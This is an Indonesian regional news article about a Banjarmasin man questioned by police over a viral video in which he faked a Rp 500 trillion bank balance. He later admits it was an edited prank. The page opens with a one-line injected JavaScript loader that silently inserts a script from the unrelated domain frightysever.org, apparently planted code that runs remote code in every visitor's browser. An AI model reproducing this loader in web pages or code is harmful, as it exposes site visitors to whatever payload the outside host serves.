(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Viral dan menghebohkan jagat maya karena memamerkan saldo rekening senilai Rp 500 triliun, seorang pria warga kota Banjarmasin dipanggil Ditkrimsus Polda Kalsel.
Ia dipanggil pada Selasa (10/1/2023) untuk memberikan klarifikasi terkait video viral memperlihatkan saldo rekening bank dengan nilai tidak lazim yang pria itu rekam sendiri, kemudian tersebar di media sosial.
Dalam video viral tersebut ia mengaku berasal dari Kalimantan Selatan dan berprofesi sebagai pemburu barang antik.
“Saldo saya sudah disahkan oleh pemerintah Indonesia, Ini saldo saya terakhir 500 triliun,” katanya dalam video viral yang diakui direkam beberapa waktu lalu.
Baca juga: Kapolres Banjar Berganti, Titip PR Penuntasan Kasus Alfamart Runtuh di Gambut
“Saya datang dari Kalimantan Selatan, siapapun yang mau bertransaksi (jual beli barang antik) presiden kek saya tunggu,” katanya.
Belakangan pria ini diketahui pria bernama H Muhammad Amin hanya membikin konten prank alias tipu-tipu. Pria ini tidak benar-benar mempunyai saldo rekening senilai Rp 500 triliun seperti yang dikatakanya dalam video viral.
“Jumlah saldo tabungan saya bukan Rp 500 triliun, itu hanya editan saja,” katanya dalam video klarifikasi.
Dalam klarifikasinya, dia juga mengakh, dirinya bukan sebagai Presiden Direktur Pemburu Barang Antik Indonesia seperti pengakuannya dalam video viral itu, namun hanyalah masyarakat biasa pada umumnya.
Baca juga: Suntik Mati Siaran TV Analog di Banjarmasin Kembali Batal
Lelaki ini menuturkan jika video viral beberapa waktu tersebut ia buat untuk mencegah dari perbuatan orang-orang yang berniat menipu dirinya sebagai pemburu barang-barang antik.
“Saya membuat video tersebut hanya karena bertemu orang yang mau menawarkan barang samurai antik, juga untuk mencegah perbuatan orang yang akrab melakukan penipuan benda-benda antik terhadap saya,” ucapnya.
Setelah memberikan klarifikasi ke Ditkrimsus Polda Kalsel, dirinya meminta maaf kepada para pihak yang merasa dirugikan terkait video viral tersebut dan berjanji tidak akan mengulanginya lagi.
Baca juga: 45 Kg Sabu Sindikat Internsional dan 11 Ribu Ekstasi Dimusnahkan Polda Kalsel
Amin -panggilan harian- juga mengimbau kepada warganet untuk berhenti menyebarkan video yang dia buat tersebut ke platform media sosial.
“Dimohon kepada masyarakat Indonesia agar tidak menyebarkan lagi video saya tersebut,” tutupnya. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.